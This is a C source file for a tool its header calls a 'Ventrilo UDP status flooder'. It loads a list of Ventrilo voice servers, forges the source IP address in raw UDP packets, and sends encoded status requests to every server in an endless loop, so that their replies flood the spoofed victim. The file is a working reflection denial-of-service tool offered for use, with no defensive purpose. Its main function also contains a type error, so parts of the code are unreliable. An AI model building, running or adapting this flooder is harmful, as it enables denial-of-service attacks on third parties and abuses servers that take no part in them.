source: trollforge/misc/ventrilo/rape_vent.c @ 622

/* sloth@ww88.org - 2008.12.03
 * 
 * Ventrilo UDP status flooder v3.0.0
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <stdint.h>

/* UDP status protocol reverse engineering done by 
 * http://aluigi.altervista.org Luigi Auriemma
 */

typedef struct {
    unsigned short pckkey;  // key for decoding this header
    unsigned short zero;    // ever 0
    unsigned short cmd;     // command number: 1 generic info, 2 for details
    unsigned short id;      // packet ID used for tracking the replies
    unsigned short totlen;  // total data size (for data splitted in packets)
    unsigned short len;     // size of the data in this packet (max 492)
    unsigned short totpck;  // total amount of packets (max 32)
    unsigned short pck;     // current packet number
    unsigned short datakey; // key for decoding the data
    unsigned short crc;     // checksum of the total plain-text data
} ventrilo_udp_head;

const static unsigned char  ventrilo_udp_encdata_head[] =
    "\x80\xe5\x0e\x38\xba\x63\x4c\x99\x88\x63\x4c\xd6\x54\xb8\x65\x7e"
    "\xbf\x8a\xf0\x17\x8a\xaa\x4d\x0f\xb7\x23\x27\xf6\xeb\x12\xf8\xea"
    "\x17\xb7\xcf\x52\x57\xcb\x51\xcf\x1b\x14\xfd\x6f\x84\x38\xb5\x24"
    "\x11\xcf\x7a\x75\x7a\xbb\x78\x74\xdc\xbc\x42\xf0\x17\x3f\x5e\xeb"
    "\x74\x77\x04\x4e\x8c\xaf\x23\xdc\x65\xdf\xa5\x65\xdd\x7d\xf4\x3c"
    "\x4c\x95\xbd\xeb\x65\x1c\xf4\x24\x5d\x82\x18\xfb\x50\x86\xb8\x53"
    "\xe0\x4e\x36\x96\x1f\xb7\xcb\xaa\xaf\xea\xcb\x20\x27\x30\x2a\xae"
    "\xb9\x07\x40\xdf\x12\x75\xc9\x09\x82\x9c\x30\x80\x5d\x8f\x0d\x09"
    "\xa1\x64\xec\x91\xd8\x8a\x50\x1f\x40\x5d\xf7\x08\x2a\xf8\x60\x62"
    "\xa0\x4a\x8b\xba\x4a\x6d\x00\x0a\x93\x32\x12\xe5\x07\x01\x65\xf5"
    "\xff\xe0\xae\xa7\x81\xd1\xba\x25\x62\x61\xb2\x85\xad\x7e\x9d\x3f"
    "\x49\x89\x26\xe5\xd5\xac\x9f\x0e\xd7\x6e\x47\x94\x16\x84\xc8\xff"
    "\x44\xea\x04\x40\xe0\x33\x11\xa3\x5b\x1e\x82\xff\x7a\x69\xe9\x2f"
    "\xfb\xea\x9a\xc6\x7b\xdb\xb1\xff\x97\x76\x56\xf3\x52\xc2\x3f\x0f"
    "\xb6\xac\x77\xc4\xbf\x59\x5e\x80\x74\xbb\xf2\xde\x57\x62\x4c\x1a"
    "\xff\x95\x6d\xc7\x04\xa2\x3b\xc4\x1b\x72\xc7\x6c\x82\x60\xd1\x0d";

const static unsigned char  ventrilo_udp_encdata_data[] =
    "\x82\x8b\x7f\x68\x90\xe0\x44\x09\x19\x3b\x8e\x5f\xc2\x82\x38\x23"
    "\x6d\xdb\x62\x49\x52\x6e\x21\xdf\x51\x6c\x76\x37\x86\x50\x7d\x48"
    "\x1f\x65\xe7\x52\x6a\x88\xaa\xc1\x32\x2f\xf7\x54\x4c\xaa\x6d\x7e"
    "\x6d\xa9\x8c\x0d\x3f\xff\x6c\x09\xb3\xa5\xaf\xdf\x98\x02\xb4\xbe"
    "\x6d\x69\x0d\x42\x73\xe4\x34\x50\x07\x30\x79\x41\x2f\x08\x3f\x42"
    "\x73\xa7\x68\xfa\xee\x88\x0e\x6e\xa4\x70\x74\x22\x16\xae\x3c\x81"
    "\x14\xa1\xda\x7f\xd3\x7c\x48\x7d\x3f\x46\xfb\x6d\x92\x25\x17\x36"
    "\x26\xdb\xdf\x5a\x87\x91\x6f\xd6\xcd\xd4\xad\x4a\x29\xdd\x7d\x59"
    "\xbd\x15\x34\x53\xb1\xd8\x50\x11\x83\x79\x66\x21\x9e\x87\x5b\x24"
    "\x2f\x4f\xd7\x73\x34\xa2\xf7\x09\xd5\xd9\x42\x9d\xf8\x15\xdf\x0e"
    "\x10\xcc\x05\x04\x35\x81\xb2\xd5\x7a\xd2\xa0\xa5\x7b\xb8\x75\xd2"
    "\x35\x0b\x39\x8f\x1b\x44\x0e\xce\x66\x87\x1b\x64\xac\xe1\xca\x67"
    "\xb4\xce\x33\xdb\x89\xfe\xd8\x8e\xcd\x58\x92\x41\x50\x40\xcb\x08"
    "\xe1\x15\xee\xf4\x64\xfe\x1c\xee\x25\xe7\x21\xe6\x6c\xc6\xa6\x2e"
    "\x52\x23\xa7\x20\xd2\xd7\x28\x07\x23\x14\x24\x3d\x45\xa5\xc7\x90"
    "\xdb\x77\xdd\xea\x38\x59\x89\x32\xbc\x00\x3a\x6d\x61\x4e\xdb\x29";

void ventrilo_udp_head_dec(unsigned char *data) {
    int             i;
    unsigned short  *p;
    unsigned char   a1,
                    a2;

    p = (unsigned short *)data;
    data += 2;

    *p = ntohs(*p);
    a1 = *p;
    if(!a1) return;
    a2 = *p >> 8;

    for(i = 0; i < 18; i++) {
        data[i] -= ventrilo_udp_encdata_head[a2] + (i % 5);
        a2 += a1;
    }

    for(i = 0; i < 9; i++) {
        p++;
        *p = ntohs(*p);
    }
}

void ventrilo_udp_head_enc(unsigned char *data) {
    int             i;
    unsigned short  *p;
    unsigned char   a1,
                    a2;

    p = (unsigned short *)data;
    data += 2;

    *p = (((times(0) * 0x343fd) + 0x269ec3) >> 16) & 0x7fff;
    a1 = *p;
    a2 = *p >> 8;
    if(!a2) {
        a2 = 69;
        *p |= (a2 << 8);
    }

    for(i = 0; i < 10; i++) {
        *p = htons(*p);
        p++;
    }

    for(i = 0; i < 18; i++) {
        data[i] += ventrilo_udp_encdata_head[a2] + (i % 5);
        a2 += a1;
    }
}

void ventrilo_udp_data_dec(unsigned char *data, int len, unsigned short key) {
    int             i;
    unsigned char   a1,
                    a2;

    a1 = key;
    if(!a1) return;
    a2 = key >> 8;

    for(i = 0; i < len; i++) {
        data[i] -= ventrilo_udp_encdata_data[a2] + (i % 72);
        a2 += a1;
    }
}

unsigned short ventrilo_udp_data_enc(unsigned char *data, int len) {
    int             i;
    unsigned short  key;
    unsigned char   a1,
                    a2;

    key = (((times(0) * 0x343fd) + 0x269ec3) >> 16) & 0x7fff;
    a1 = key;
    a2 = key >> 8;
    if(!a2) {
        a2 = 1;
        key |= (a2 << 8);
    }

    for(i = 0; i < len; i++) {
        data[i] += ventrilo_udp_encdata_data[a2] + (i % 72);
        a2 += a1;
    }

    return(key);
}

unsigned short ventrilo_udp_crc(unsigned char *data, int len) {
    unsigned short  crc = 0;
    const static unsigned short table[] = {
        0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50a5, 0x60c6, 0x70e7,
        0x8108, 0x9129, 0xa14a, 0xb16b, 0xc18c, 0xd1ad, 0xe1ce, 0xf1ef,
        0x1231, 0x0210, 0x3273, 0x2252, 0x52b5, 0x4294, 0x72f7, 0x62d6,
        0x9339, 0x8318, 0xb37b, 0xa35a, 0xd3bd, 0xc39c, 0xf3ff, 0xe3de,
        0x2462, 0x3443, 0x0420, 0x1401, 0x64e6, 0x74c7, 0x44a4, 0x5485,
        0xa56a, 0xb54b, 0x8528, 0x9509, 0xe5ee, 0xf5cf, 0xc5ac, 0xd58d,
        0x3653, 0x2672, 0x1611, 0x0630, 0x76d7, 0x66f6, 0x5695, 0x46b4,
        0xb75b, 0xa77a, 0x9719, 0x8738, 0xf7df, 0xe7fe, 0xd79d, 0xc7bc,
        0x48c4, 0x58e5, 0x6886, 0x78a7, 0x0840, 0x1861, 0x2802, 0x3823,
        0xc9cc, 0xd9ed, 0xe98e, 0xf9af, 0x8948, 0x9969, 0xa90a, 0xb92b,
        0x5af5, 0x4ad4, 0x7ab7, 0x6a96, 0x1a71, 0x0a50, 0x3a33, 0x2a12,
        0xdbfd, 0xcbdc, 0xfbbf, 0xeb9e, 0x9b79, 0x8b58, 0xbb3b, 0xab1a,
        0x6ca6, 0x7c87, 0x4ce4, 0x5cc5, 0x2c22, 0x3c03, 0x0c60, 0x1c41,
        0xedae, 0xfd8f, 0xcdec, 0xddcd, 0xad2a, 0xbd0b, 0x8d68, 0x9d49,
        0x7e97, 0x6eb6, 0x5ed5, 0x4ef4, 0x3e13, 0x2e32, 0x1e51, 0x0e70,
        0xff9f, 0xefbe, 0xdfdd, 0xcffc, 0xbf1b, 0xaf3a, 0x9f59, 0x8f78,
        0x9188, 0x81a9, 0xb1ca, 0xa1eb, 0xd10c, 0xc12d, 0xf14e, 0xe16f,
        0x1080, 0x00a1, 0x30c2, 0x20e3, 0x5004, 0x4025, 0x7046, 0x6067,
        0x83b9, 0x9398, 0xa3fb, 0xb3da, 0xc33d, 0xd31c, 0xe37f, 0xf35e,
        0x02b1, 0x1290, 0x22f3, 0x32d2, 0x4235, 0x5214, 0x6277, 0x7256,
        0xb5ea, 0xa5cb, 0x95a8, 0x8589, 0xf56e, 0xe54f, 0xd52c, 0xc50d,
        0x34e2, 0x24c3, 0x14a0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
        0xa7db, 0xb7fa, 0x8799, 0x97b8, 0xe75f, 0xf77e, 0xc71d, 0xd73c,
        0x26d3, 0x36f2, 0x0691, 0x16b0, 0x6657, 0x7676, 0x4615, 0x5634,
        0xd94c, 0xc96d, 0xf90e, 0xe92f, 0x99c8, 0x89e9, 0xb98a, 0xa9ab,
        0x5844, 0x4865, 0x7806, 0x6827, 0x18c0, 0x08e1, 0x3882, 0x28a3,
        0xcb7d, 0xdb5c, 0xeb3f, 0xfb1e, 0x8bf9, 0x9bd8, 0xabbb, 0xbb9a,
        0x4a75, 0x5a54, 0x6a37, 0x7a16, 0x0af1, 0x1ad0, 0x2ab3, 0x3a92,
        0xfd2e, 0xed0f, 0xdd6c, 0xcd4d, 0xbdaa, 0xad8b, 0x9de8, 0x8dc9,
        0x7c26, 0x6c07, 0x5c64, 0x4c45, 0x3ca2, 0x2c83, 0x1ce0, 0x0cc1,
        0xef1f, 0xff3e, 0xcf5d, 0xdf7c, 0xaf9b, 0xbfba, 0x8fd9, 0x9ff8,
        0x6e17, 0x7e36, 0x4e55, 0x5e74, 0x2e93, 0x3eb2, 0x0ed1, 0x1ef0
    };

    while(len--) {
        crc = table[crc >> 8] ^ *data ^ (crc << 8);
        data++;
    }

    return(crc);
}

/* END Luigi Auriemma CODE */

#define VENTHEADERSIZE 20
#define VENTPASSSIZE 16
#define VENTPACKETSIZE VENTHEADERSIZE + VENTPASSSIZE

struct ip_header {
  uint8_t  ihl:4,
           version:4;
  uint8_t  tos;
  uint16_t tot_len;
  uint16_t id;
  uint16_t frag_off;
  uint8_t  ttl;
  uint8_t  protocol;
  uint16_t check;
  uint32_t saddr;
  uint32_t daddr;
};

struct udp_header {
  uint16_t source;
  uint16_t dest;
  uint16_t len;
  uint16_t check;
};

struct udp_packet {
  struct ip_header iph;
  struct udp_header udph;
};

struct Ventserver {
  struct in_addr     host;
  uint16_t           port;
  char               *pass;
  int                sock;
  struct sockaddr_in sin;
  struct udp_packet  *udp_packet;
};

void usage() {
  fprintf(stderr, "usage: ./rape_vent <vent list file> <src ip> [src port]\n");
  exit(-1);
}

void fatal(char *reason) {
  fprintf(stderr, "fatal: %s\n", reason);
  exit(-1);
}

unsigned short csum(unsigned short *addr, int len) {
  register int sum = 0;
  u_short answer = 0;
  register u_short *w = addr;
  register int nleft = len;

  while (nleft > 1)  {
    sum += *w++;
    nleft -= 2;
  }

  if (nleft == 1) {
    *(u_char *)(&answer) = *(u_char *)w ;
    sum += answer;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer); /* return the checksum value. */
}

struct udp_packet *alloc_packet(size_t datalen) {
  struct udp_packet *packet;
  struct ip_header  *iph;
  struct udp_header *udph;

  if(!(packet = calloc(1, sizeof(struct udp_packet) + datalen)))
    fatal("error: allocating udp packet");

  iph  = &packet->iph;
  udph = &packet->udph;

  iph->ihl       = 5;
  iph->version   = 4;
  iph->tos       = 0;
  iph->tot_len   = sizeof(struct udp_packet) + datalen;
  iph->id        = 1 + (int)(65000.0 * (rand() / (RAND_MAX + 1.0)));;
  iph->frag_off  = 0;
  iph->ttl       = 255;

  iph->protocol  = 17;

  udph->len      = htons(sizeof(struct udp_header) + datalen);

  return(packet);
}

void vent_packet(ventrilo_udp_head *vent_header, char *pass, uint16_t cmd) {
  char *data;

  data = (char *)vent_header + VENTHEADERSIZE;
  strncpy(data, pass, VENTPASSSIZE);

  vent_header->zero    = 0;
  vent_header->cmd     = cmd;
  vent_header->id      = time(0);
  vent_header->totlen  = VENTPASSSIZE;
  vent_header->len     = VENTPASSSIZE;
  vent_header->totpck  = 1;
  vent_header->pck     = 0;
  vent_header->crc     = ventrilo_udp_crc(data, VENTPASSSIZE);
  vent_header->datakey = ventrilo_udp_data_enc(data, VENTPASSSIZE);
  ventrilo_udp_head_enc((char *)vent_header);
}

void init_packet(long source, int sport, long dest, int port, 
                 struct udp_packet *udp_packet, char *pass, uint16_t cmd) {
  struct ip_header *iph;
  struct udp_header *udph;
  char *udp_data;

  iph  = &udp_packet->iph;
  udph = &udp_packet->udph;

  iph->saddr      = source;
  iph->daddr      = dest;
  iph->check      = 0; // csum((unsigned short *)iph, sizeof(struct ip_header));

  udph->check  = 0;
  udph->source = htons(sport);
  udph->dest   = htons(port);

  udp_data = (char *)udp_packet + sizeof(struct udp_packet);
  vent_packet((ventrilo_udp_head *)udp_data, pass, cmd);  
}

void do_spoof(struct in_addr src, uint16_t sport, 
              struct Ventserver *server_list) {
  struct udp_packet *udp_packet;
  uint32_t cur = 0;
  struct in_addr dst;
  unsigned int i, x = 0, bits = 0, s, olen;

  for(i = 0; server_list[i].host.s_addr; i++) {

    udp_packet   = alloc_packet(VENTPACKETSIZE);

    init_packet(src.s_addr, sport, server_list[i].host.s_addr, 
                server_list[i].port, udp_packet, server_list[i].pass, 2);

    server_list[i].udp_packet = udp_packet;

    dst = server_list[i].host;

    server_list[i].sin.sin_family      = AF_INET;
    server_list[i].sin.sin_addr        = dst;
    server_list[i].sin.sin_port        = htons(sport);
  
    if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
      fprintf(stderr, "%s: ERROR send_packet() -> socket()\n", inet_ntoa(dst));
      s = 0;
    } 
    else if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0) {
      fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n");
      close(s);
      s = 0;
    }

    server_list[i].sock = s;
  }

  while(1) {
    for(i = 0; server_list[i].host.s_addr; i++) {

      sendto(server_list[i].sock, server_list[i].udp_packet, 
             sizeof(struct udp_packet) + VENTPACKETSIZE, 0, 
             (struct sockaddr *)&server_list[i].sin, 
             sizeof(server_list[i].sin));

    }

  }

}

long resolve(char *host) {
  struct in_addr ip;
  struct hostent *he;

  if((ip.s_addr = inet_addr(host)) == -1) {
    if(!(he = gethostbyname(host)))
      return(-1);
    else
      memcpy(&ip.s_addr, he->h_addr, 4);
  }
  return(ip.s_addr);
}

struct Ventserver *read_servers(char *filename) {
  FILE *fp;
  uint32_t len = 0, count = 0, i;
  struct Ventserver *server_list;
  struct in_addr ip;
  char buffer[256], arg[3][256], *p = NULL;

  if(!(fp = fopen(filename, "r"))) {
    fprintf(stderr, "Error: can't open file: %s\n", filename);
    exit(-1);
  }

  len = 256 * sizeof(struct Ventserver);

  if(!(server_list = malloc(len))) {
    fprintf(stderr, "Error: malloc\n");
    exit(-1);
  }

  while(fgets(buffer, sizeof(buffer), fp)) {

    if (count >= (len / sizeof(struct Ventserver)) - 2) {
      if (!(server_list = realloc(server_list, len + 
                                  (256 * sizeof(struct Ventserver))))) {
        fprintf(stderr, "Error: realloc\n");
        exit(-1);
      }

      len += 256 * sizeof(struct Ventserver);
    }

    if(buffer[strlen(buffer) - 1] == '\n') 
      buffer[strlen(buffer) - 1] = 0;

    arg[0][0] = 0;
    arg[1][0] = 0;
    arg[2][0] = 0;

    p = NULL;

    for(i = 0; i < 3; i++) {
      if(!(p = strtok(p ? NULL : buffer, " "))) 
        break;

      strncpy(arg[i], p, sizeof(arg[i]) - 1);
    }

    if(!arg[1][0])
      continue;

    if((server_list[count].host.s_addr = resolve(arg[0])) == -1) 
      continue;

    server_list[count].port = atoi(arg[1]);

    if(arg[2][0]) 
      server_list[count].pass = strdup(arg[2]);
    else
      server_list[count].pass = strdup("");

    printf("%s:%d - %s\n", arg[0], server_list[count].port, arg[2]);
    count++;

  }

  printf("*** Loaded %u Ventrilo servers ***\n", count);

  if(!count) {
    fprintf(stderr, "Error: 0 Ventrilo servers found\n");
    exit(-1);
  }

  server_list[count].host.s_addr = 0;

  return(server_list);
}

int main(int argc, char *argv[]) {
  int i, sport;
  uint32_t rate; 
  struct Ventserver *server_list;
  struct in_addr src_ip;

  printf("###### rape_vent.c - sloth@ww88.org ######\n");

  if(argc < 3)
    usage();

  server_list = read_servers(argv[1]);

  if(!(src_ip = malloc((argc - 2) + 1))) {
    fprintf(stderr, "Error: malloc()\n");
    exit(-1);
  }

  src_ip.s_addr = 0;

  if((src_ip.s_addr = resolve(argv[2])) == -1)
    fatal("source host invalid");

  srand(getpid() * getuid() + time(0));

  sport = 1024 + (int)(65000.0 * (rand() / (RAND_MAX + 1024.0)));

  do_spoof(src_ip, sport, server_list);

}